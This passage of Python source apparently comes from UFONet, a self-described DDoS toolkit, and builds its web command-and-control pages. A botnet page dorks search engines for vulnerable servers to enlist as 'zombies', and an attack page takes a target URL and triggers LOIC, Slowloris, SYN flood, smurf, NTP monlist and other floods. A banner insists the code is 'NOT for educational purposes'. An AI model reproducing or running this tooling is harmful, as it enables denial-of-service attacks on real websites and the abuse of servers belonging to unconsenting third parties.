  2401. c_supply = "wargames"
  2402. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  2403. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  2404. else:
  2405. self.current_tasks = ""
  2406. self.options = UFONetOptions()
  2407. self.pages = {}
  2408. self.pages["/header"] = """<!DOCTYPE html><html>
  2409. <head>
  2410. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  2411. <meta name="author" content="psy">
  2412. <meta name="robots" content="noindex, nofollow">
  2413. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  2414. <title>UFONet - [ C&C/DarkNet ]</title>
  2415. <script language="javascript" src="/lib.js"></script>
  2416. <script language="javascript" src="js/stars.js"></script>
  2417. <style>
  2418. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  2419. </style>"""
  2420. self.pages["/footer"] = """</center></body>
  2421. </html>
  2422. """
  2423. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  2424. function Start() {
  2425. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  2426. }
  2427. </script>
  2428. <script type="text/javascript">
  2429. var text="REMEMBER -> This code is NOT for educational purposes!";
  2430. var delay=1;
  2431. var currentChar=1;
  2432. var destination="tt";
  2433. function type()
  2434. {
  2435. if (document.getElementById)
  2436. {
  2437. var dest=document.getElementById(destination);
  2438. if (dest)
  2439. {
  2440. dest.innerHTML=text.substr(0, currentChar);
  2441. currentChar++
  2442. if (currentChar>text.length)
  2443. {
  2444. currentChar=1;
  2445. setTimeout("type()", 5000);
  2446. }
  2447. else
  2448. {
  2449. setTimeout("type()", delay);
  2450. }
  2451. }
  2452. }
  2453. }
  2454. function startTyping(textParam, delayParam, destinationParam)
  2455. {
  2456. text=textParam;
  2457. delay=delayParam;
  2458. currentChar=1;
  2459. destination=destinationParam;
  2460. type();
  2461. }
  2462. </script>
  2463. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  2464. </head>
  2465. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2466. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2467. <center><br><br><br><br>
  2468. <table><tr>
  2469. <td>
  2470. <div class="ufo-cloud">
  2471. <ul>
  2472. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  2473. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  2474. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  2475. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  2476. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  2477. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  2478. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  2479. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  2480. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  2481. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  2482. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  2483. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  2484. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  2485. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  2486. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  2487. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  2488. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  2489. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  2490. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  2491. </ul>
  2492. </div>
  2493. </td>
  2494. <td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  2495. </td></tr></table><br>
  2496. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a /disruptive_toolkit/ that allows to perform <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks ...<br /><br />
  2497. <div id="tt">REMEMBER -> This code is NOT for educational purposes!</div><br />
  2498. <script type="text/javascript">
  2499. startTyping(text, 80, "tt");
  2500. </script><br />
  2501. <button title="Start Mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  2502. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  2503. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2504. }
  2505. </script>
  2506. <script>function Missions() {
  2507. var win_requests = window.open("missions","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2508. }
  2509. </script>
  2510. <script>function Stats() {
  2511. var win_requests = window.open("stats","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2512. }
  2513. </script>
  2514. <script>function Board() {
  2515. var win_requests = window.open("board","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2516. }
  2517. </script>
  2518. <script>function Links() {
  2519. var win_requests = window.open("links","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2520. }
  2521. </script>
  2522. <script>function Streams() {
  2523. var win_requests = window.open("streams","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2524. }
  2525. </script>
  2526. <script>function Games() {
  2527. var win_requests = window.open("games","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2528. }
  2529. </script>
  2530. <script>function Browser() {
  2531. var win_browser = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2532. }
  2533. </script>
  2534. <script>function GlobalNet() {
  2535. var win_global_net = window.open("globalnet","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2536. }
  2537. </script>
  2538. </head>
  2539. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2540. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2541. <center>
  2542. <table cellpadding="38" cellspacing="38">
  2543. <tr>
  2544. <td>
  2545. <div class="ringMenu">
  2546. <ul>
  2547. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  2548. <li class="top"><a href="botnet">Botnet</a></li>
  2549. <li class="right"><a href="inspect">Inspect</a></li>
  2550. <li class="bottom"><a href="attack">Attack</a></li>
  2551. <li class="left"><a href="help">Help</a></li>
  2552. </ul>
  2553. </div>
  2554. </td>
  2555. <td>
  2556. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  2557. <tr>
  2558. <td>
  2559. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> ;-)
  2560. ----------------------------------
  2561. """ + self.options.version + """
  2562. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  2563. | <a href='javascript:runCommandX("cmd_check_tool")'>Update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> | <a href='javascript:runCommandX("cmd_view_changelog")'>Logs</a> |
  2564. -----------------------------------
  2565. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  2566. - Your ranking is: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</b></a>
  2567. """+str(self.current_tasks)+"""</td>
  2568. <td>
  2569. <table>
  2570. <tr>
  2571. <td>
  2572. <table cellpadding="2" cellspacing="5">
  2573. <tr>
  2574. <td align="right"><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"><br><a href="javascript:News()">NEWS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"><br><a href="javascript:Missions()">MISSIONS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="Stats()"><br><a href="javascript:Stats()">SHIP.STATS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"><br><a href="javascript:Board()">SHIP.BOARD</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien10_img+"""' onclick="Links()"><br><a href="javascript:Links()">SHIP.LINKS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien9_img+"""' onclick="javascript:Streams()"><br><a href="javascript:Streams()">SHIP.STREAMS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien12_img+"""' onclick="javascript:Games()"><br><a href="javascript:Games()">SHIP.GAMES</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien13_img+"""' onclick="javascript:Browser()"><br><a href="javascript:Browser()">SHIP.BROWSER</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien11_img+"""' onclick="GlobalNet()"><br><a href="javascript:GlobalNet()">GLOBAL.NET</a></td>
  2575. </tr>
  2576. </table>
  2577. </td>
  2578. </tr>
  2579. </table>
  2580. </td>
  2581. </tr>
  2582. </table><center><br><br>
  2583. <div id="cmdOut"></div>
  2584. """ + self.pages["/footer"]
  2585. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  2586. function Requests() {
  2587. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2588. }
  2589. function Maps() {
  2590. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  2591. win_map.resizeTo(screen.width,screen.height);
  2592. }
  2593. function Start(){
  2594. dork=document.getElementById("dork").value
  2595. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  2596. if (document.getElementById("autosearch").checked){
  2597. document.getElementById("autosearch").value = "on";
  2598. } else {
  2599. document.getElementById("autosearch").value = "off";
  2600. }
  2601. autosearch = document.getElementById("autosearch").value
  2602. if (document.getElementById("dork_list").checked){
  2603. document.getElementById("dork_list").value = "on";
  2604. } else {
  2605. document.getElementById("dork_list").value = "off";
  2606. }
  2607. dork_list = document.getElementById("dork_list").value
  2608. if(dork == "" && dork_list == "off" && autosearch == "off") {
  2609. window.alert("You need to enter a source for dorking...");
  2610. return
  2611. }else{
  2612. if (document.getElementById("all_engines").checked){
  2613. document.getElementById("all_engines").value = "on";
  2614. exclude_engines=document.getElementById("exclude_engines").value
  2615. } else {
  2616. document.getElementById("all_engines").value = "off";
  2617. }
  2618. all_engines = document.getElementById("all_engines").value
  2619. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  2620. runCommandX("cmd_search",params)
  2621. }
  2622. }
  2623. function showHide()
  2624. {
  2625. if(document.getElementById("dork_list").checked)
  2626. {
  2627. document.getElementById("dork_pattern").style.display = "none";
  2628. document.getElementById("autosearch_pattern").style.display = "none";
  2629. }
  2630. else {
  2631. document.getElementById("dork_pattern").style.display = "";
  2632. document.getElementById("autosearch_pattern").style.display = "";
  2633. }
  2634. }
  2635. function showHideEngines()
  2636. {
  2637. if(document.getElementById("all_engines").checked)
  2638. {
  2639. document.getElementById("s_engine").style.display = "none";
  2640. document.getElementById("sex_engine").style.display = "";
  2641. }
  2642. else {
  2643. document.getElementById("s_engine").style.display = "";
  2644. document.getElementById("sex_engine").style.display = "none";
  2645. }
  2646. }
  2647. function HideAll()
  2648. {
  2649. if(document.getElementById("autosearch").checked)
  2650. {
  2651. document.getElementById("s_engine").style.display = "none";
  2652. document.getElementById("dork_pattern").style.display = "none";
  2653. document.getElementById("list_pattern").style.display = "none";
  2654. document.getElementById("allengines_pattern").style.display = "none";
  2655. document.getElementById("all_engines").checked = false;
  2656. document.getElementById("dork_list").checked = false;
  2657. document.getElementById("dork").value = "";
  2658. }
  2659. else {
  2660. document.getElementById("s_engine").style.display = "";
  2661. document.getElementById("dork_pattern").style.display = "";
  2662. document.getElementById("list_pattern").style.display = "";
  2663. document.getElementById("allengines_pattern").style.display = "";
  2664. }
  2665. }
  2666. </script>
  2667. <script>function Blackholes() {
  2668. var win_requests = window.open("blackholes","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2669. }
  2670. </script>
  2671. </head>
  2672. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2673. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2674. <center>
  2675. <table cellpadding="38" cellspacing="38">
  2676. <tr>
  2677. <td>
  2678. <div class="ringMenu">
  2679. <ul>
  2680. <li class="main"><a href="botnet">Botnet</a></li>
  2681. <li class="top"><a href="help">Help</a></li>
  2682. <li class="right"><a href="inspect">Inspect</a></li>
  2683. <li class="bottom"><a href="attack">Attack</a></li>
  2684. <li class="left"><a href="gui">RETURN</a></li>
  2685. </ul>
  2686. </div>
  2687. </td>
  2688. <td>
  2689. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2690. <tr><td>
  2691. <pre>
  2692. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  2693. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  2694. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  2695. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  2696. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  2697. * Search using this search engine: <select id="engines_list">
  2698. <option value="duck" selected>duck</option>
  2699. <option value="bing">bing</option>
  2700. <option value="yahoo">yahoo</option>
  2701. <!-- <option value="google">google (no TOR!)</option>-->
  2702. <!-- <option value="yandex">yandex</option>-->
  2703. </select></div><div id="allengines_pattern" style="display:block;">
  2704. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  2705. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  2706. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  2707. <br><hr>
  2708. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  2709. <td>
  2710. <table cellpadding="5" cellspacing="2">
  2711. <tr>
  2712. <td><table><tr><td><img src='data:image/png;base64,"""+self.alien3_img+"""' onclick="Blackholes()"></td></tr><tr><td align="right"><a href="javascript:Blackholes()">GLOBAL.WARPS</a></td></tr></table></td>
  2713. </tr>
  2714. <tr>
  2715. <table><tr>
  2716. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  2717. </tr>
  2718. <tr><td><hr></td></tr>
  2719. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  2720. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  2721. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  2722. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  2723. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  2724. </table>
  2725. </table>
  2726. </td>
  2727. </tr></table>
  2728. </td>
  2729. </tr></table>
  2730. <hr>
  2731. <div id="cmdOut"></div>
  2732. """ + self.pages["/footer"]
  2733. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  2734. function Requests() {
  2735. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2736. }
  2737. function Grid() {
  2738. var win_requests = window.open("grid","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2739. }
  2740. function Wargames() {
  2741. var win_requests = window.open("wargames","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2742. }
  2743. function ShowPanel() {
  2744. if (document.getElementById("extra_attack").checked){
  2745. document.getElementById("extra_panel").style.display = "block";
  2746. document.getElementById("loic").value = "";
  2747. document.getElementById("loris").value = "";
  2748. document.getElementById("ufosyn").value = "";
  2749. document.getElementById("spray").value = "";
  2750. document.getElementById("smurf").value = "";
  2751. document.getElementById("xmas").value = "";
  2752. document.getElementById("nuke").value = "";
  2753. document.getElementById("tachyon").value = "";
  2754. document.getElementById("monlist").value = "";
  2755. document.getElementById("dbstress").value = "";
  2756. } else {
  2757. document.getElementById("extra_panel").style.display = "none";
  2758. document.getElementById("loic").value = "";
  2759. document.getElementById("loris").value = "";
  2760. document.getElementById("ufosyn").value = "";
  2761. document.getElementById("spray").value = "";
  2762. document.getElementById("smurf").value = "";
  2763. document.getElementById("xmas").value = "";
  2764. document.getElementById("nuke").value = "";
  2765. document.getElementById("tachyon").value = "";
  2766. document.getElementById("monlist").value = "";
  2767. document.getElementById("dbstress").value = "";
  2768. }
  2769. }
  2770. function Maps() {
  2771. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  2772. win_map.resizeTo(screen.width,screen.height);
  2773. }
  2774. function Start(){
  2775. document.getElementById("attack_button").text = "STOP!"
  2776. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  2777. target=document.getElementById("target").value
  2778. String.prototype.startsWith = function(prefix){
  2779. return this.indexOf(prefix) === 0;
  2780. }
  2781. if(target.startsWith("http")){
  2782. path=document.getElementById("path").value
  2783. rounds=document.getElementById("rounds").value
  2784. dbstress=document.getElementById("dbstress").value
  2785. loic=document.getElementById("loic").value
  2786. loris=document.getElementById("loris").value
  2787. ufosyn=document.getElementById("ufosyn").value
  2788. spray=document.getElementById("spray").value
  2789. smurf=document.getElementById("smurf").value
  2790. xmas=document.getElementById("xmas").value
  2791. nuke=document.getElementById("nuke").value
  2792. tachyon=document.getElementById("tachyon").value
  2793. monlist=document.getElementById("monlist").value
  2794. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist){ // root required!
  2795. window.alert("You need 'root' access!. Check shell and enter your password.");
  2796. }
  2797. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)
  2798. if (document.getElementById("visual_attack").checked){
  2799. document.getElementById("visual_attack").value = "on";
  2800. } else {
  2801. document.getElementById("visual_attack").value = "off";
  2802. }
  2803. if(document.getElementById("visual_attack").value=="on"){
  2804. Maps()
  2805. }
  2806. }else{
  2807. window.alert("You need to enter a valid url: http(s)://target.com");
  2808. return
  2809. }
  2810. runCommandX("cmd_attack",params)
  2811. }
  2812. </script>
  2813. </head>
  2814. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2815. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2816. <center>
  2817. <table cellpadding="38" cellspacing="38">
  2818. <tr>
  2819. <td>
  2820. <div class="ringMenu">
  2821. <ul>
  2822. <li class="main"><a href="attack">Attack</a></li>
  2823. <li class="top"><a href="help">Help</a></li>
  2824. <li class="right"><a href="botnet">Botnet</a></li>
  2825. <li class="bottom"><a href="inspect">Inspect</a></li>
  2826. <li class="left"><a href="gui">RETURN</a></li>
  2827. </ul>
  2828. </div>
  2829. </td>
  2830. <td>
  2831. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2832. <tr><td>
  2833. <pre>
  2834. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2835. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  2836. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  2837. <hr>
  2838. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  2839. <hr><div id="extra_panel" style="display:none;">
  2840. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  2841. <td align="left">* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  2842. <td align="left">* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  2843. <td align="left">* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td></tr><tr>
  2844. <td align="left">* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  2845. <td align="left">* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  2846. <td align="left">* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td></tr><tr>
  2847. <td align="left">* <a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="10000"></td>
  2848. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="1000"></td>
  2849. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="1001"></td></tr>
  2850. </table>
  2851. <hr>
  2852. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  2853. <hr></div>
  2854. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  2855. </td><td>
  2856. <table><tr><td><table><tr><td><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"></td></tr><tr><td align="right"><a href="javascript:Grid()">GLOBAL.GRID</a></td></tr></table></td></tr><tr><td><table><tr><td><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"></td></tr><tr><td align="right"><a href="javascript:Wargames()">GLOBAL.WARGAMES</a></td></tr></table></td></tr></table>
  2857. </td></tr></table>
  2858. </td></tr></table>
  2859. <hr>
  2860. <div id="cmdOut"></div>
  2861. """ + self.pages["/footer"]
  2862. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  2863. function show(one) {
  2864. var nb = document.getElementsByTagName("div");
  2865. for(var x=0; x<nb.length; x++) {
  2866. name = nb[x].getAttribute("class");
  2867. if (name == 'nb') {
  2868. if (nb[x].id == one) {
  2869. nb[x].style.display = 'block';
  2870. }
  2871. else {
  2872. nb[x].style.display = 'none';
  2873. }
  2874. }
  2875. }
  2876. }
  2877. </script>
  2878. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  2879. </head>
  2880. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
